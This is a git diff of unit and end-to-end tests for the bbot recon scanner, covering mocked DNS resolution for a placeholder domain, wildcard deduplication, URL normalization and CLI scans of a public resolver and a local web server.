+        "test.evilcorp.com": {"AAAA": ["dead::beef"], "SRV": ["0 100 389 test.test.evilcorp.com."]},
+        "test.test.evilcorp.com": {"SRV": ["0 100 389 test.test.test.evilcorp.com."]},
+        "test.test.test.evilcorp.com": {"SRV": ["0 100 389 test.test.test.test.evilcorp.com."]},
+        "test.test.test.test.evilcorp.com": {"SRV": ["0 100 389 test.test.test.test.test.evilcorp.com."]},
+        r"regex:^.+\.evilcorp\.com$": {"SRV": ["0 100 389 test.evilcorp.com."]},
     }
-
     scan = bbot_scanner(
         "evilcorp.com",
         config={
@@ -414,7 +562,8 @@ def custom_lookup(query, rdtype):
             },
         },
     )
-    await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup)
+    await scan._prep()
+    await scan.helpers.dns._mock_dns(runaway_mock)
 
     events = [e async for e in scan.async_start()]
 
@@ -437,6 +586,7 @@ def custom_lookup(query, rdtype):
         "domain",
         "srv-record",
         "private-ip",
+        "seed",
     }
     assert dns_names_by_host["test.evilcorp.com"].tags == {
         "in-scope",
@@ -490,10 +640,14 @@ def custom_lookup(query, rdtype):
         "subdomain",
     }
 
+    await scan._cleanup()
+
+    ### event resolution + dns_resolve_distance (live github.io wildcard) ###
+
     scan = bbot_scanner("1.1.1.1")
-    helpers = scan.helpers
+    await scan._prep()
 
-    # event resolution
+    # event resolution -- github.io is a stable GitHub Pages wildcard zone
     wildcard_event1 = scan.make_event("wat.asdf.fdsa.github.io", "DNS_NAME", parent=scan.root_event)
     wildcard_event1.scope_distance = 0
     wildcard_event2 = scan.make_event("wats.asd.fdsa.github.io", "DNS_NAME", parent=scan.root_event)
@@ -501,7 +655,6 @@ def custom_lookup(query, rdtype):
     wildcard_event3 = scan.make_event("github.io", "DNS_NAME", parent=scan.root_event)
     wildcard_event3.scope_distance = 0
 
-    await scan._prep()
     dnsresolve = scan.modules["dnsresolve"]
     await dnsresolve.handle_event(wildcard_event1)
     await dnsresolve.handle_event(wildcard_event2)
@@ -517,35 +670,37 @@ def custom_lookup(query, rdtype):
     assert wildcard_event3.data == "github.io"
 
     # dns resolve distance
-    event_distance_0 = scan.make_event(
-        "8.8.8.8", module=scan.modules["dnsresolve"]._make_dummy_module("PTR"), parent=scan.root_event
-    )
+    event_distance_0 = scan.make_event("8.8.8.8", module=dnsresolve._make_dummy_module("PTR"), parent=scan.root_event)
     assert event_distance_0.dns_resolve_distance == 0
     event_distance_1 = scan.make_event(
-        "evilcorp.com", module=scan.modules["dnsresolve"]._make_dummy_module("A"), parent=event_distance_0
+        "evilcorp.com", module=dnsresolve._make_dummy_module("A"), parent=event_distance_0
     )
     assert event_distance_1.dns_resolve_distance == 1
-    event_distance_2 = scan.make_event(
-        "1.2.3.4", module=scan.modules["dnsresolve"]._make_dummy_module("PTR"), parent=event_distance_1
-    )
+    event_distance_2 = scan.make_event("1.2.3.4", module=dnsresolve._make_dummy_module("PTR"), parent=event_distance_1)
     assert event_distance_2.dns_resolve_distance == 1
     event_distance_3 = scan.make_event(
-        "evilcorp.org", module=scan.modules["dnsresolve"]._make_dummy_module("A"), parent=event_distance_2
+        "evilcorp.org", module=dnsresolve._make_dummy_module("A"), parent=event_distance_2
     )
     assert event_distance_3.dns_resolve_distance == 2
 
     await scan._cleanup()
 
+    ### full Scanner test against live github.io ###
+
     from bbot.scanner import Scanner
 
-    # test with full scan
-    scan2 = Scanner("asdfl.gashdgkjsadgsdf.github.io", whitelist=["github.io"], config={"dns": {"minimal": False}})
+    scan2 = Scanner(
+        "github.io",
+        seeds=["asdfl.gashdgkjsadgsdf.github.io"],
+        config={"dns": {"minimal": False}},
+    )
     await scan2._prep()
     other_event = scan2.make_event(
         "lkjg.sdfgsg.jgkhajshdsadf.github.io", module=scan2.modules["dnsresolve"], parent=scan2.root_event
     )
     await scan2.ingress_module.queue_event(other_event, {})
     events = [e async for e in scan2.async_start()]
+
     assert len(events) == 4
     assert 2 == len([e for e in events if e.type == "SCAN"])
     unmodified_wildcard_events = [
@@ -579,10 +734,10 @@ def custom_lookup(query, rdtype):
     )
     assert modified_wildcard_events[0].host_original == "lkjg.sdfgsg.jgkhajshdsadf.github.io"
 
-    # test with full scan (wildcard detection disabled for domain)
+    # full scan with wildcard detection disabled for github.io
     scan2 = Scanner(
-        "asdfl.gashdgkjsadgsdf.github.io",
-        whitelist=["github.io"],
+        "github.io",
+        seeds=["asdfl.gashdgkjsadgsdf.github.io"],
         config={"dns": {"wildcard_ignore": ["github.io"]}},
         exclude_modules=["cloudcheck"],
     )
@@ -633,16 +788,7 @@ def custom_lookup(query, rdtype):
 
 @pytest.mark.asyncio
 async def test_wildcard_deduplication(bbot_scanner):
-    custom_lookup = """
-def custom_lookup(query, rdtype):
-    if rdtype == "TXT" and query.strip(".").endswith("evilcorp.com"):
-        return {""}
-"""
-
-    mock_data = {
-        "evilcorp.com": {"A": ["127.0.0.1"]},
-    }
-
+    """A module emitting many wildcard subdomains should produce only one _wildcard.* event."""
     from bbot.modules.base import BaseModule
 
     class DummyModule(BaseModule):
@@ -653,111 +799,39 @@ async def handle_event(self, event):
             for i in range(30):
                 await self.emit_event(f"www{i}.evilcorp.com", "DNS_NAME", parent=event)
 
-    # scan without omitted event type
-    scan = bbot_scanner(
-        "evilcorp.com", config={"dns": {"minimal": False, "wildcard_ignore": []}, "omit_event_types": []}
-    )
-    await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup)
-    dummy_module = DummyModule(scan)
-    scan.modules["dummy_module"] = dummy_module
-    events = [e async for e in scan.async_start()]
-    dns_name_events = [e for e in events if e.type == "DNS_NAME"]
-    assert len(dns_name_events) == 2
-    assert 1 == len([e for e in dns_name_events if e.data == "_wildcard.evilcorp.com"])
-
-
-@pytest.mark.asyncio
-async def test_dns_raw_records(bbot_scanner):
-    from bbot.modules.base import BaseModule
-
-    class DummyModule(BaseModule):
-        watched_events = ["*"]
-
-        async def setup(self):
-            self.events = []
-            return True
-
-        async def handle_event(self, event):
-            self.events.append(event)
+    # *.evilcorp.com returns an empty TXT record (a known wildcard pattern that
+    # would normally cause every subdomain to look distinct). With wildcard
+    # detection enabled, dnsresolve should fold them all into _wildcard.evilcorp.com.
+    mock_data = {
+        "evilcorp.com": {"A": ["127.0.0.1"]},
+        r"regex:.*\.evilcorp\.com$": {"TXT": [""]},
+    }
 
-    # scan without omitted event type
-    scan = bbot_scanner("one.one.one.one", "1.1.1.1", config={"dns": {"minimal": False}, "omit_event_types": []})
-    await scan.helpers.dns._mock_dns(mock_records)
-    dummy_module = DummyModule(scan)
-    scan.modules["dummy_module"] = dummy_module
-    events = [e async for e in scan.async_start()]
-    assert 1 == len([e for e in events if e.type == "RAW_DNS_RECORD"])
-    assert 1 == len(
-        [
-            e
-            for e in events
-            if e.type == "RAW_DNS_RECORD"
-            and e.host == "one.one.one.one"
-            and e.data["host"] == "one.one.one.one"
-            and e.data["type"] == "TXT"
-            and e.data["answer"]
-            == '"v=spf1 ip4:103.151.192.0/23 ip4:185.12.80.0/22 ip4:188.172.128.0/20 ip4:192.161.144.0/20 ip4:216.198.0.0/18 ~all"'
-            and e.discovery_context == "TXT lookup on one.one.one.one produced RAW_DNS_RECORD"
-        ]
-    )
-    assert 1 == len(
-        [
-            e
-            for e in dummy_module.events
-            if e.type == "RAW_DNS_RECORD"
-            and e.host == "one.one.one.one"
-            and e.data["host"] == "one.one.one.one"
-            and e.data["type"] == "TXT"
-            and e.data["answer"]
-            == '"v=spf1 ip4:103.151.192.0/23 ip4:185.12.80.0/22 ip4:188.172.128.0/20 ip4:192.161.144.0/20 ip4:216.198.0.0/18 ~all"'
-            and e.discovery_context == "TXT lookup on one.one.one.one produced RAW_DNS_RECORD"
-        ]
+    scan = bbot_scanner(
+        "evilcorp.com",
+        config={"dns": {"minimal": False, "wildcard_ignore": []}, "omit_event_types": []},
     )
-    # scan with omitted event type
-    scan = bbot_scanner("one.one.one.one", config={"dns": {"minimal": False}, "omit_event_types": ["RAW_DNS_RECORD"]})
-    await scan.helpers.dns._mock_dns(mock_records)
+    await scan._prep()
+    await scan.helpers.dns._mock_dns(mock_data)
     dummy_module = DummyModule(scan)
     scan.modules["dummy_module"] = dummy_module
     events = [e async for e in scan.async_start()]
-    # no raw records should be emitted
-    assert 0 == len([e for e in events if e.type == "RAW_DNS_RECORD"])
-    assert 0 == len([e for e in dummy_module.events if e.type == "RAW_DNS_RECORD"])
 
-    # scan with watching module
-    DummyModule.watched_events = ["RAW_DNS_RECORD"]
-    scan = bbot_scanner("one.one.one.one", config={"dns": {"minimal": False}, "omit_event_types": ["RAW_DNS_RECORD"]})
-    await scan.helpers.dns._mock_dns(mock_records)
-    dummy_module = DummyModule(scan)
-    scan.modules["dummy_module"] = dummy_module
-    events = [e async for e in scan.async_start()]
-    # no raw records should be output
-    assert 0 == len([e for e in events if e.type == "RAW_DNS_RECORD"])
-    # but they should still make it to the module
-    assert 1 == len(
-        [
-            e
-            for e in dummy_module.events
-            if e.type == "RAW_DNS_RECORD"
-            and e.host == "one.one.one.one"
-            and e.data["host"] == "one.one.one.one"
-            and e.data["type"] == "TXT"
-            and e.data["answer"]
-            == '"v=spf1 ip4:103.151.192.0/23 ip4:185.12.80.0/22 ip4:188.172.128.0/20 ip4:192.161.144.0/20 ip4:216.198.0.0/18 ~all"'
-            and e.discovery_context == "TXT lookup on one.one.one.one produced RAW_DNS_RECORD"
-        ]
-    )
+    dns_name_events = [e for e in events if e.type == "DNS_NAME"]
+    # exactly one _wildcard.evilcorp.com event despite 30 emissions
+    wildcard_events = [e for e in dns_name_events if e.data == "_wildcard.evilcorp.com"]
+    assert len(wildcard_events) == 1
+    # the only DNS_NAMEs should be evilcorp.com itself + the dedup'd wildcard
+    assert sorted(e.data for e in dns_name_events) == ["_wildcard.evilcorp.com", "evilcorp.com"]
 
 
 @pytest.mark.asyncio
 async def test_dns_graph_structure(bbot_scanner):
     scan = bbot_scanner("https://evilcorp.com", config={"dns": {"search_distance": 1, "minimal": False}})
+    await scan._prep()
     await scan.helpers.dns._mock_dns(
         {
-            "evilcorp.com": {
-                "CNAME": [
-                    "www.evilcorp.com",
-                ]
-            },
+            "evilcorp.com": {"CNAME": ["www.evilcorp.com"]},
             "www.evilcorp.com": {"CNAME": ["test.evilcorp.com"]},
             "test.evilcorp.com": {"A": ["127.0.0.1"]},
         }
@@ -766,25 +840,28 @@ async def test_dns_graph_structure(bbot_scanner):
     assert len(events) == 6
     non_scan_events = [e for e in events if e.type != "SCAN"]
     assert sorted([e.type for e in non_scan_events]) == ["DNS_NAME", "DNS_NAME", "DNS_NAME", "URL_UNVERIFIED"]
-    events_by_data = {e.data: e for e in non_scan_events}
+    events_by_data = {e.pretty_string: e for e in non_scan_events}
     assert set(events_by_data) == {"https://evilcorp.com/", "evilcorp.com", "www.evilcorp.com", "test.evilcorp.com"}
     assert events_by_data["test.evilcorp.com"].parent.data == "www.evilcorp.com"
     assert str(events_by_data["test.evilcorp.com"].module) == "CNAME"
     assert events_by_data["www.evilcorp.com"].parent.data == "evilcorp.com"
     assert str(events_by_data["www.evilcorp.com"].module) == "CNAME"
-    assert events_by_data["evilcorp.com"].parent.data == "https://evilcorp.com/"
+    assert events_by_data["evilcorp.com"].parent.url == "https://evilcorp.com/"
     assert str(events_by_data["evilcorp.com"].module) == "host"
 
 
 @pytest.mark.asyncio
 async def test_hostname_extraction(bbot_scanner):
     scan = bbot_scanner("evilcorp.com", config={"dns": {"minimal": False}})
+    await scan._prep()
     await scan.helpers.dns._mock_dns(
         {
             "evilcorp.com": {
                 "A": ["127.0.0.1"],
                 "TXT": [
-                    "v=spf1 include:spf-a.evilcorp.com include:spf-b.evilcorp.com include:icpbounce.com include:shops.shopify.com include:_spf.qemailserver.com include:spf.mandrillapp.com include:spf.protection.office365.us include:spf-003ea501.gpphosted.com 127.0.0.1 -all"
+                    '"v=spf1 include:spf-a.evilcorp.com include:spf-b.evilcorp.com include:icpbounce.com '
+                    "include:shops.shopify.com include:_spf.qemailserver.com include:spf.mandrillapp.com "
+                    'include:spf.protection.office365.us include:spf-003ea501.gpphosted.com 127.0.0.1 -all"'
                 ],
             }
         }
@@ -822,9 +899,13 @@ async def test_dns_helpers(bbot_scanner):
         hostname = f"{srv_record}.example.com"
         assert service_record(hostname) is True
 
+    # all_rdtypes is the canonical list -- make sure it's not empty and contains the basics
+    assert "A" in all_rdtypes and "AAAA" in all_rdtypes and "CNAME" in all_rdtypes
+
     # make sure system nameservers are excluded from use by DNS brute force
     brute_nameservers = tempwordlist(["1.2.3.4", "8.8.4.4", "4.3.2.1", "8.8.8.8"])
     scan = bbot_scanner(config={"dns": {"brute_nameservers": brute_nameservers}})
+    await scan._prep()
     scan.helpers.dns.system_resolvers = ["8.8.8.8", "8.8.4.4"]
     resolver_file = await scan.helpers.dns.brute.resolver_file()
     resolvers = set(scan.helpers.read_file(resolver_file))
diff --git a/bbot/test/test_step_1/test_e2e.py b/bbot/test/test_step_1/test_e2e.py
new file mode 100644
index 0000000000..ee030b8375
--- /dev/null
+++ b/bbot/test/test_step_1/test_e2e.py
@@ -0,0 +1,216 @@
+"""
+End-to-end tests that install bbot into a fresh virtualenv and run real CLI scans.
+
+Tests:
+    1. Install from local source into a temp venv
+    2. DNS-only scan against a real public target
+    3. Web scan against a local HTTP server (exercises http + excavate)
+"""
+
+import json
+import subprocess
+import sys
+import os
+import socket
+import textwrap
+import time
+from pathlib import Path
+
+import pytest
+
+
+def _find_repo_root():
+    """Find the bbot repo root from the source tree, without requiring git."""
+    # Walk up from this test file to find pyproject.toml
+    d = Path(__file__).resolve().parent
+    for _ in range(10):
+        if (d / "pyproject.toml").is_file():
+            return str(d)
+        d = d.parent
+    raise FileNotFoundError("could not locate repo root (no pyproject.toml found)")
+
+
+@pytest.fixture(scope="module")
+def bbot_venv(tmp_path_factory):
+    """Create a fresh virtualenv and pip-install bbot from the local checkout."""
+    venv_dir = tmp_path_factory.mktemp("bbot_e2e_venv")
+    repo_root = _find_repo_root()
+
+    subprocess.check_call([sys.executable, "-m", "venv", str(venv_dir)])
+    pip = str(venv_dir / "bin" / "pip")
+    bbot = str(venv_dir / "bin" / "bbot")
+
+    subprocess.check_call([pip, "install", "-e", repo_root, "--quiet"], timeout=300)
+    assert os.path.isfile(bbot), f"bbot CLI not found at {bbot}"
+    return bbot
+
+
+def _free_port():
+    """Find a free TCP port."""
+    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
+        s.bind(("127.0.0.1", 0))
+        return s.getsockname()[1]
+
+
+@pytest.fixture()
+def local_webserver(tmp_path):
+    """Spawn a local HTTP server with a page that excavate can extract from."""
+    port = _free_port()
+    webroot = tmp_path / "webroot"
+    webroot.mkdir()
+
+    html = textwrap.dedent("""\
+        <html>
+        <head><title>E2E Test Page</title></head>
+        <body>
+            <a href="/secondpage.html">Second Page</a>
+        </body>
+        </html>
+    """)
+    (webroot / "index.html").write_text(html)
+    (webroot / "secondpage.html").write_text("<html><body>second page</body></html>")
+
+    server = subprocess.Popen(
+        [sys.executable, "-m", "http.server", str(port), "--directory", str(webroot), "--bind", "127.0.0.1"],
+        stdout=subprocess.DEVNULL,
+        stderr=subprocess.DEVNULL,
+    )
+
+    # wait for server to be ready
+    for _ in range(20):
+        try:
+            with socket.create_connection(("127.0.0.1", port), timeout=0.5):
+                break
+        except OSError:
+            time.sleep(0.25)
+    else:
+        server.kill()
+        pytest.fail(f"Local web server failed to start on port {port}")
+
+    yield f"http://127.0.0.1:{port}"
+
+    server.terminate()
+    try:
+        server.wait(timeout=5)
+    except subprocess.TimeoutExpired:
+        server.kill()
+
+
+def run_bbot(bbot_bin, *args, timeout=180):
+    """Run the bbot CLI as a real subprocess."""
+    return subprocess.run(
+        [bbot_bin] + list(args),
+        capture_output=True,
+        text=True,
+        timeout=timeout,
+    )
+
+
+class TestE2E:
+    def test_install_and_help(self, bbot_venv):
+        """bbot installs from local source and -h works."""
+        r = run_bbot(bbot_venv, "-h")
+        assert r.returncode == 0, f"bbot -h failed:\n{r.stderr[-2000:]}"
+        assert "usage" in (r.stdout + r.stderr).lower()
+
+    def test_scan_dns(self, bbot_venv, tmp_path):
+        """DNS-only scan against one.one.one.one resolves and produces expected events."""
+        scan_name = "e2e_dns"
+        r = run_bbot(
+            bbot_venv,
+            "-y",
+            "-t",
+            "one.one.one.one",
+            "-n",
+            scan_name,
+            "-c",
+            "dns.minimal=true",
+            f"home={tmp_path}",
+            "--json",
+        )
+        assert r.returncode == 0, f"bbot exited {r.returncode}:\n{r.stderr[-2000:]}"
+
+        events = [json.loads(line) for line in r.stdout.splitlines() if line.strip()]
+        types = {e["type"] for e in events}
+        assert "DNS_NAME" in types, f"no DNS_NAME events, got types: {types}"
+
+        dns_events = [e for e in events if e["type"] == "DNS_NAME" and e["data"] == "one.one.one.one"]
+        assert dns_events, "no DNS_NAME event for one.one.one.one"
+        dns_event = dns_events[0]
+        assert "in-scope" in dns_event["tags"]
+        resolved = set(dns_event.get("resolved_hosts", []))
+        assert resolved & {"1.1.1.1", "1.0.0.1"}, f"expected Cloudflare IPs in resolved_hosts, got {resolved}"
+
+        # verify output files
+        scan_home = tmp_path / "scans" / scan_name
+        for f in ("output.json", "output.txt", "output.csv", "preset.yml", "scan.log"):
+            assert (scan_home / f).is_file(), f"{f} not found in scan output"
+
+    def test_scan_web(self, bbot_venv, tmp_path, local_webserver):
+        """Web scan against a local server exercises http + excavate."""
+        scan_name = "e2e_web"
+        r = run_bbot(
+            bbot_venv,
+            "-y",
+            "-t",
+            local_webserver,
+            "-n",
+            scan_name,
+            "-p",
+            "spider",
+            "-c",
+            f"home={tmp_path}",
+            "--json",
+        )
+        assert r.returncode == 0, f"bbot exited {r.returncode}:\n{r.stderr[-2000:]}"
+
+        events = [json.loads(line) for line in r.stdout.splitlines() if line.strip()]
+        types = {e["type"] for e in events}
+
+        assert "URL" in types, f"no URL events, got types: {types}"
+
+        url_events = [e for e in events if e["type"] == "URL"]
+        urls = [e.get("data_json", {}).get("url", "") for e in url_events]
+        assert any("secondpage.html" in u for u in urls), f"excavate+spider didn't find secondpage.html in {urls}"
+
+    def test_clean_shutdown(self, bbot_venv, tmp_path):
+        """Scan completes cleanly: no errors, no orphaned processes."""
+        import psutil
+
+        r = run_bbot(
+            bbot_venv,
+            "-y",
+            "-t",
+            "one.one.one.one",
+            "-n",
+            "e2e_shutdown",
+            "-c",
+            "dns.minimal=true",
+            f"home={tmp_path}",
+        )
+        assert r.returncode == 0, f"bbot exited {r.returncode}:\n{r.stderr[-2000:]}"
+
+        # check output.json for clean completion
+        output_json = tmp_path / "scans" / "e2e_shutdown" / "output.json"
+        assert output_json.is_file(), "output.json not found"
+        events = [json.loads(line) for line in output_json.read_text().splitlines() if line.strip()]
+        scan_events = [e for e in events if e.get("type") == "SCAN"]
+        statuses = [e.get("data_json", {}).get("status") for e in scan_events]
+        assert "FINISHED" in statuses, f"scan didn't reach FINISHED status, got: {statuses}"
+
+        # no critical/error messages in stderr
+        for line in r.stderr.splitlines():
+            assert "[CRIT]" not in line, f"critical error during scan: {line.strip()}"
+
+        # no orphaned bbot processes
+        current = psutil.Process()
+        children = current.children(recursive=True)
+        bbot_orphans = []
+        for p in children:
+            try:
+                name = p.name()
+            except (psutil.NoSuchProcess, psutil.AccessDenied):
+                continue
+            if name == "bbot":
+                bbot_orphans.append(p)
+        assert not bbot_orphans, f"orphaned bbot processes after scan: {[(p.pid, p.cmdline()) for p in bbot_orphans]}"
diff --git a/bbot/test/test_step_1/test_engine.py b/bbot/test/test_step_1/test_engine.py
deleted file mode 100644
index 653c3dcd6c..0000000000
--- a/bbot/test/test_step_1/test_engine.py
+++ /dev/null
@@ -1,146 +0,0 @@
-from ..bbot_fixtures import *
-
-
-@pytest.mark.asyncio
-async def test_engine():
-    from bbot.core.engine import EngineClient, EngineServer
-
-    counter = 0
-    yield_cancelled = False
-    yield_errored = False
-    return_started = False
-    return_finished = False
-    return_cancelled = False
-    return_errored = False
-
-    class TestEngineServer(EngineServer):
-        CMDS = {
-            0: "return_thing",
-            1: "yield_stuff",
-        }
-
-        async def return_thing(self, n):
-            nonlocal return_started
-            nonlocal return_finished
-            nonlocal return_cancelled
-            nonlocal return_errored
-            try:
-                return_started = True
-                await asyncio.sleep(n)
-                return_finished = True
-                return f"thing{n}"
-            except asyncio.CancelledError:
-                return_cancelled = True
-                raise
-            except Exception:
-                return_errored = True
-                raise
-
-        async def yield_stuff(self, n):
-            nonlocal counter
-            nonlocal yield_cancelled
-            nonlocal yield_errored
-            try:
-                for i in range(n):
-                    yield f"thing{i}"
-                    counter += 1
-                    await asyncio.sleep(0.1)
-            except asyncio.CancelledError:
-                yield_cancelled = True
-                raise
-            except Exception:
-                yield_errored = True
-                raise
-
-    class TestEngineClient(EngineClient):
-        SERVER_CLASS = TestEngineServer
-
-        async def return_thing(self, n):
-            return await self.run_and_return("return_thing", n)
-
-        async def yield_stuff(self, n):
-            async for _ in self.run_and_yield("yield_stuff", n):
-                yield _
-
-    test_engine = TestEngineClient()
-
-    # test return functionality
-    return_res = await test_engine.return_thing(1)
-    assert return_res == "thing1"
-
-    # test async generator
-    assert counter == 0
-    assert yield_cancelled is False
-    yield_res = [r async for r in test_engine.yield_stuff(13)]
-    assert yield_res == [f"thing{i}" for i in range(13)]
-    assert len(yield_res) == 13
-    assert counter == 13
-
-    # test async generator with cancellation
-    counter = 0
-    yield_cancelled = False
-    yield_errored = False
-    agen = test_engine.yield_stuff(1000)
-    async for r in agen:
-        if counter > 10:
-            await agen.aclose()
-            break
-    await asyncio.sleep(5)
-    assert yield_cancelled is True
-    assert yield_errored is False
-    assert counter < 15
-
-    # test async generator with error
-    yield_cancelled = False
-    yield_errored = False
-    agen = test_engine.yield_stuff(None)
-    with pytest.raises(BBOTEngineError):
-        async for _ in agen:
-            pass
-    assert yield_cancelled is False
-    assert yield_errored is True
-
-    # test return with cancellation
-    return_started = False
-    return_finished = False
-    return_cancelled = False
-    return_errored = False
-    task = asyncio.create_task(test_engine.return_thing(2))
-    await asyncio.sleep(1)
-    task.cancel()
-    with pytest.raises(asyncio.CancelledError):
-        await task
-    await asyncio.sleep(0.1)
-    assert return_started is True
-    assert return_finished is False
-    assert return_cancelled is True
-    assert return_errored is False
-
-    # test return with late cancellation
-    return_started = False
-    return_finished = False
-    return_cancelled = False
-    return_errored = False
-    task = asyncio.create_task(test_engine.return_thing(1))
-    await asyncio.sleep(2)
-    task.cancel()
-    result = await task
-    assert result == "thing1"
-    assert return_started is True
-    assert return_finished is True
-    assert return_cancelled is False
-    assert return_errored is False
-
-    # test return with error
-    return_started = False
-    return_finished = False
-    return_cancelled = False
-    return_errored = False
-    with pytest.raises(BBOTEngineError):
-        result = await test_engine.return_thing(None)
-    assert return_started is True
-    assert return_finished is False
-    assert return_cancelled is False
-    assert return_errored is True
-
-    await test_engine.shutdown()
diff --git a/bbot/test/test_step_1/test_event_seeds.py b/bbot/test/test_step_1/test_event_seeds.py
index 5a6ada3e25..42f812ac3d 100644
--- a/bbot/test/test_step_1/test_event_seeds.py
+++ b/bbot/test/test_step_1/test_event_seeds.py
@@ -81,7 +81,7 @@ def test_event_seeds():
     # URL (DNS_NAME)
     url_dns_seed = EventSeed("http://evilcOrp.com./index.html?a=b#c")
     assert url_dns_seed.type == "URL_UNVERIFIED"
-    assert url_dns_seed.data == "http://evilcorp.com/index.html?a=b"
+    assert url_dns_seed.url == "http://evilcorp.com/index.html?a=b"
     assert url_dns_seed.host == "evilcorp.com"
     assert url_dns_seed.port == 80
     assert url_dns_seed.input == "http://evilcorp.com/index.html?a=b"
@@ -89,7 +89,7 @@ def test_event_seeds():
     # URL (IPv4)
     url_ipv4_seed = EventSeed("https://192.168.1.1/index.html?a=b#c")
     assert url_ipv4_seed.type == "URL_UNVERIFIED"
-    assert url_ipv4_seed.data == "https://192.168.1.1/index.html?a=b"
+    assert url_ipv4_seed.url == "https://192.168.1.1/index.html?a=b"
     assert url_ipv4_seed.host == ipaddress.ip_address("192.168.1.1")
     assert url_ipv4_seed.port == 443
     assert url_ipv4_seed.input == "https://192.168.1.1/index.html?a=b"
@@ -97,7 +97,7 @@ def test_event_seeds():
     # URL (IPv6)
     url_ipv6_seed = EventSeed("https://[2001:db8::42]:8080/index.html?a=b#c")
     assert url_ipv6_seed.type == "URL_UNVERIFIED"
-    assert url_ipv6_seed.data == "https://[2001:db8::42]:8080/index.html?a=b"
+    assert url_ipv6_seed.url == "https://[2001:db8::42]:8080/index.html?a=b"
     assert url_ipv6_seed.host == ipaddress.ip_address("2001:db8::42")
     assert url_ipv6_seed.port == 8080
     assert url_ipv6_seed.input == "https://[2001:db8::42]:8080/index.html?a=b"
diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py
index b4bb8582eb..95e3d5a1f5 100644
--- a/bbot/test/test_step_1/test_events.py
+++ b/bbot/test/test_step_1/test_events.py
@@ -1,4 +1,3 @@
-import json
 import random
 import ipaddress
 
@@ -118,18 +117,18 @@ async def test_events(events, helpers):
     assert events.emoji not in events.ipv6_url_unverified
     assert events.url_unverified not in events.emoji
 
-    # URL normalization tests – compare against normalized event.data / .with_port().geturl()
-    assert scan.make_event("https://evilcorp.com:443", dummy=True).data == "https://evilcorp.com/"
-    assert scan.make_event("http://evilcorp.com:80", dummy=True).data == "http://evilcorp.com/"
+    # URL normalization tests – compare against normalized event.url / .with_port().geturl()
+    assert scan.make_event("https://evilcorp.com:443", dummy=True).url == "https://evilcorp.com/"
+    assert scan.make_event("http://evilcorp.com:80", dummy=True).url == "http://evilcorp.com/"
     assert "http://evilcorp.com:80/asdf.js" in scan.make_event("http://evilcorp.com/asdf.js", dummy=True)
     assert "http://evilcorp.com/asdf.js" in scan.make_event("http://evilcorp.com:80/asdf.js", dummy=True)
-    assert scan.make_event("https://evilcorp.com", dummy=True).data == "https://evilcorp.com/"
-    assert scan.make_event("http://evilcorp.com", dummy=True).data == "http://evilcorp.com/"
-    assert scan.make_event("https://evilcorp.com:80", dummy=True).data == "https://evilcorp.com:80/"
-    assert scan.make_event("http://evilcorp.com:443", dummy=True).data == "http://evilcorp.com:443/"
+    assert scan.make_event("https://evilcorp.com", dummy=True).url == "https://evilcorp.com/"
+    assert scan.make_event("http://evilcorp.com", dummy=True).url == "http://evilcorp.com/"
+    assert scan.make_event("https://evilcorp.com:80", dummy=True).url == "https://evilcorp.com:80/"
+    assert scan.make_event("http://evilcorp.com:443", dummy=True).url == "http://evilcorp.com:443/"
     assert scan.make_event("https://evilcorp.com", dummy=True).with_port().geturl() == "https://evilcorp.com:443/"
     assert scan.make_event("https://evilcorp.com:666", dummy=True).with_port().geturl() == "https://evilcorp.com:666/"
-    assert scan.make_event("https://evilcorp.com.:666", dummy=True).data == "https://evilcorp.com:666/"
+    assert scan.make_event("https://evilcorp.com.:666", dummy=True).url == "https://evilcorp.com:666/"
     assert scan.make_event("https://[bad::c0de]", dummy=True).with_port().geturl() == "https://[bad::c0de]:443/"
     assert scan.make_event("https://[bad::c0de]:666", dummy=True).with_port().geturl() == "https://[bad::c0de]:666/"
     url_event = scan.make_event("https://evilcorp.com", "URL", events.ipv4_url, tags=["status-200"])
@@ -138,6 +137,44 @@ async def test_events(events, helpers):
     with pytest.raises(ValidationError, match=".*status tag.*"):
         scan.make_event("https://evilcorp.com", "URL", events.ipv4_url)
 
+    # url_extension: URL events
+    css_url = scan.make_event("https://evilcorp.com/style.css?v=1", dummy=True)
+    assert getattr(css_url, "url_extension", "") == "css"
+    assert "extension-css" in css_url.tags
+    js_url = scan.make_event("https://evilcorp.com/app.js", dummy=True)
+    assert getattr(js_url, "url_extension", "") == "js"
+    no_ext_url = scan.make_event("https://evilcorp.com/search", dummy=True)
+    assert getattr(no_ext_url, "url_extension", "NOT_SET") == "NOT_SET"
+
+    # url_extension: WEB_PARAMETER events (dict events with URLs)
+    wp_css = scan.make_event(
+        {
+            "host": "evilcorp.com",
+            "type": "GETPARAM",
+            "name": "v",
+            "original_value": "1",
+            "url": "https://evilcorp.com/style.css?v=1",
+            "description": "test",
+        },
+        "WEB_PARAMETER",
+        dummy=True,
+    )
+    assert getattr(wp_css, "url_extension", "") == "css"
+    assert "extension-css" in wp_css.tags
+    wp_no_ext = scan.make_event(
+        {
+            "host": "evilcorp.com",
+            "type": "GETPARAM",
+            "name": "q",
+            "original_value": "test",
+            "url": "https://evilcorp.com/search?q=test",
+            "description": "test",
+        },
+        "WEB_PARAMETER",
+        dummy=True,
+    )
+    assert getattr(wp_no_ext, "url_extension", "NOT_SET") == "NOT_SET"
+
     # http response
     assert events.http_response.host == "example.com"
     assert events.http_response.port == 80
@@ -336,26 +373,128 @@ async def test_events(events, helpers):
     assert "affiliate" in corrected_event4.tags
 
     test_vuln = scan.make_event(
-        {"host": "EVILcorp.com", "severity": "iNfo ", "description": "asdf"}, "VULNERABILITY", dummy=True
+        {
+            "host": "EVILcorp.com",
+            "severity": "iNfo ",
+            "confidence": "HIGH",
+            "description": "asdf",
+            "name": "Test Finding",
+        },
+        "FINDING",
+        dummy=True,
     )
     assert test_vuln.data["host"] == "evilcorp.com"
     assert test_vuln.data["severity"] == "INFO"
     test_vuln2 = scan.make_event(
-        {"host": "192.168.1.1", "severity": "iNfo ", "description": "asdf"}, "VULNERABILITY", dummy=True
+        {
+            "host": "192.168.1.1",
+            "severity": "INFO",
+            "confidence": "HIGH",
+            "description": "asdf",
+            "name": "Vulnerability",
+        },
+        "FINDING",
+        dummy=True,
     )
-    assert json.loads(test_vuln2.data_human)["severity"] == "INFO"
+    assert test_vuln2.data_human == "Severity: [INFO] Confidence: [HIGH] asdf"
     assert test_vuln2.host.is_private
